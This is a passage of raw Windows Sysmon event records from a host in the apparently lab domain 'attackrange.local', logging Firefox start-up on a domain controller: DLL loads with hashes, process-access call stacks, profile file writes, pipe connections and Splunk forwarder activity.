10341000x800000000000000049686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.997{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000049685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C826FFFBCC68E92E8BC6403C0FC4C040,SHA256=4DB673AC2C595107073F832B44A5941B60DC3152F81BA143A49F8EE67D884929,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 23542300x800000000000000016337Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:23.563{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFEE3B5174CFFF1CE8252C9793AC8F3F,SHA256=1810B8644BAAFEE57B9D2DE56823F6060504D9F52A7273A9AF208DCDE261173F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000050202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.950{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.950{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\twinapi.appcore.dll10.0.14393.4169 (rs1_release.210107-1130)twinapi.appcoreMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.appcore.dllMD5=B877C5BDEA2215B3D3CF89F645EB535C,SHA256=2F5468CC4277C8CB4B2AD1095AFC739ECAE0F0B6EE78E57BF64A97F3BDA54C19,IMPHASH=52DACB9FFE8B422785C607A5B88982C7trueMicrosoft WindowsValid 23542300x800000000000000050200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.856{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.856{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.840{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F50769E803B58456B253250F249B6B5,SHA256=6819AE94D8A883927F45B25F8D913EF2E0268A712CEBC7CDFA40646D2BD56B4C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.840{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0B266A7EC269D48190E6DA97544BBF51,SHA256=4F08AEDEABA59DB0AFD82E416C6D8D92F4FA5FAD2F7B291BE00B008C0608307E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.809{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mfperfhelper.dll10.0.14393.0 (rs1_release.160715-1616)MFPerf DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmfperfhelper.dllMD5=DAD53152E620AB1D256F531CCDDF4C96,SHA256=577A697C088A319A9839989E18548F46121E661D56C701DE0360905E814BC12D,IMPHASH=A00BC62B03D75EE2D584A9E7EFBA79A6trueMicrosoft WindowsValid 734700x800000000000000050195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.794{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msmpeg2vdec.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft DTV-DVD Video DecoderMicrosoft® Windows® Operating SystemMicrosoft CorporationMSMPEG2VDEC.dllMD5=AC311D2B455A754608554A3D3358D2B8,SHA256=4D6EDA1E49D3E5FF38E0AD698F55B4ABB53327EE116668A05544C6380C19E52D,IMPHASH=6B91AF8A332F21F82F6117F8D9E0B8DBtrueMicrosoft WindowsValid 734700x800000000000000050194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.809{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000050193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.778{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\evr.dll10.0.14393.2515 (rs1_release_1.180830-1044)Enhanced Video Renderer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationevr.dllMD5=4F00E99C3E92226B072C0E80D52A82F4,SHA256=7788212BD473C69B3C8F6705A7470BE783BE0244BC289334EFA579AAD2C9A91C,IMPHASH=C44CF843A574B60FED1B4D29827EBA14trueMicrosoft WindowsValid 734700x800000000000000050192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.762{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dxva2.dll10.0.14393.0 (rs1_release.160715-1616)DirectX Video Acceleration 2.0 DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdxva2.dllMD5=DE24CAC5A0B3CE1AD8057FE258712365,SHA256=5CA1E7FBA01D92AA3F933A00E495460DC5DB38DAD2CAD370782474F50F9C964E,IMPHASH=338B9EB254A5341CE890B2511DF3DFAEtrueMicrosoft WindowsValid 734700x800000000000000050191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.762{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mf.dll10.0.14393.4467 (rs1_release.210604-1844)Media Foundation DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmf.dllMD5=A4EAF21B9308D645D06B23D2DFC3DD91,SHA256=355A6DDCDD875D4CA25356654DAECA9BA5F01351F63BE28DED2886B0FFF2FADE,IMPHASH=224763A9487AA02E14432742CBC2F08EtrueMicrosoft WindowsValid 734700x800000000000000050190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.778{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 734700x800000000000000050189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.762{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\RTWorkQ.dll10.0.14393.479 (rs1_release.161110-2025)Realtime WorkQueue DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationRTWorkQ.dllMD5=1EABA23A7305A232C9A16C14806ED091,SHA256=3AD1A84A56EE0DA68B40D40770787FEED3DCF4A74BE172F01BD837FD680396E6,IMPHASH=41E263D9EB0100A59E34B18CF8F6F725trueMicrosoft WindowsValid 734700x800000000000000050188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.747{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mfplat.dll10.0.14393.4169 (rs1_release.210107-1130)Media Foundation Platform DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmfplat.dllMD5=6B3DD2386B60D0003B3A0A1AE706A9C5,SHA256=2DF94FA3C88D5D8AB5A981C0182263B5D8161CE0F96687D2DF7892EB4F25104C,IMPHASH=4B0B41F559164385A004BCC689586F63trueMicrosoft WindowsValid 10341000x800000000000000050187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.747{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f3e|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+3814434|C:\Program Files\Mozilla Firefox\xul.dll+ee41df|C:\Program Files\Mozilla Firefox\xul.dll+ee28e4|C:\Program Files\Mozilla Firefox\xul.dll+edd6f4|C:\Windows\System32\user32.dll+121e4|C:\Windows\System32\user32.dll+11ed7|C:\Windows\System32\user32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0A99D58)|UNKNOWN(FFFFEC48E0A999DD)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+1764|C:\Windows\System32\user32.dll+11baf|C:\Program Files\Mozilla Firefox\xul.dll+1814e76 10341000x800000000000000050186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.747{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f17|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+3814434|C:\Program Files\Mozilla Firefox\xul.dll+ee41df|C:\Program Files\Mozilla Firefox\xul.dll+ee28e4|C:\Program Files\Mozilla Firefox\xul.dll+edd6f4|C:\Windows\System32\user32.dll+121e4|C:\Windows\System32\user32.dll+11ed7|C:\Windows\System32\user32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0A99D58)|UNKNOWN(FFFFEC48E0A999DD)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+1764|C:\Windows\System32\user32.dll+11baf|C:\Program Files\Mozilla Firefox\xul.dll+1814e76 10341000x800000000000000050185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.747{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7eec|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+3814434|C:\Program Files\Mozilla Firefox\xul.dll+ee41df|C:\Program Files\Mozilla Firefox\xul.dll+ee28e4|C:\Program Files\Mozilla Firefox\xul.dll+edd6f4|C:\Windows\System32\user32.dll+121e4|C:\Windows\System32\user32.dll+11ed7|C:\Windows\System32\user32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0A99D58)|UNKNOWN(FFFFEC48E0A999DD)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+1764|C:\Windows\System32\user32.dll+11baf|C:\Program Files\Mozilla Firefox\xul.dll+1814e76 734700x800000000000000050184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.747{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 734700x800000000000000050183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.700{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000050182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.700{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\xmllite.dll10.0.14393.3143 (rs1_release.190725-1725)Microsoft XmlLite LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationXmlLite.dllMD5=64E301CCFADF34810ADA8DE9DBC7720F,SHA256=6EAE1E0E610793C7DF2B27795553F377D2C4126CF74D8EE4A84DE3C3150871F8,IMPHASH=B53F82B33CA6ABD6251152A46E5FF78CtrueMicrosoft WindowsValid 734700x800000000000000050181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.700{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\d2d1.dll10.0.14393.2969 (rs1_release.190503-1820)Microsoft D2D LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationd2d1MD5=E15A420D82314AF63973D7D0AB3BA2DD,SHA256=C264B2FA1F3E67E558E2671807C06270926EF456F4FF83F1F9859B18184F187E,IMPHASH=5F8C6AF7D0781F35A516AEB072DAD045trueMicrosoft WindowsValid 734700x800000000000000050180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 734700x800000000000000050179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\d3d10warp.dll10.0.14393.2608 (rs1_release.181024-1742)Direct3D 10 RasterizerMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10Warp.dllMD5=B69F0419A16A616FE2D779EC98CD7FB9,SHA256=2D10B43F2137433E48A009227487C691E312D186691485D33B4FDF90D8423C9D,IMPHASH=E32C7474360C94A9FE5E17141A4AB35FtrueMicrosoft WindowsValid 734700x800000000000000050178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\d3d10warp.dll10.0.14393.2608 (rs1_release.181024-1742)Direct3D 10 RasterizerMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10Warp.dllMD5=B69F0419A16A616FE2D779EC98CD7FB9,SHA256=2D10B43F2137433E48A009227487C691E312D186691485D33B4FDF90D8423C9D,IMPHASH=E32C7474360C94A9FE5E17141A4AB35FtrueMicrosoft WindowsValid 734700x800000000000000050177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ResourcePolicyClient.dll10.0.14393.3808 (rs1_release.200707-2105)Resource Policy ClientMicrosoft® Windows® Operating SystemMicrosoft CorporationResourcePolicyClient.dllMD5=8FD5FEFE4E020BBC2D95F07BCDC84F71,SHA256=E5E351822CCDEBF81C47C4CA1D5C158E2880C1BD29CA024D163FD9316F3046AE,IMPHASH=E494F732179E765F2CE18BC21CDB1948trueMicrosoft WindowsValid 734700x800000000000000050176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dxgi.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)DirectX Graphics InfrastructureMicrosoft® Windows® Operating SystemMicrosoft Corporationdxgi.dllMD5=3C32D763740C83DB2C44DEA4B6F18C54,SHA256=ED26DBB9C3656767CA25887CDC3B45CF978AFC75E064FF5457A36C7A69E55223,IMPHASH=83736A76214A92F5C1B53248D0C22863trueMicrosoft WindowsValid 734700x800000000000000050175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\d3d11.dll10.0.14393.4467 (rs1_release.210604-1844)Direct3D 11 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D11.dllMD5=F940A91B13592184F228ECC14D8D9358,SHA256=2BC05A4D09CDBAB8DB5F767DC95F31B2CA324928A94F004C7C2968E3E9E635E2,IMPHASH=460DAE5CA92CB705C37D78BE630D6120trueMicrosoft WindowsValid 10341000x800000000000000050174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 10341000x800000000000000050172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-65B2-613B-1600-00000000F001}12961984C:\Windows\system32\svchost.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.684{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212\chrome.4776.0.150096675C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728D-613B-560B-00000000F001}47763944C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+133dab|C:\Program Files\Mozilla Firefox\xul.dll+121475d|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212\gecko-crash-server-pipe.4776C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000050166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000050165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000050164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla 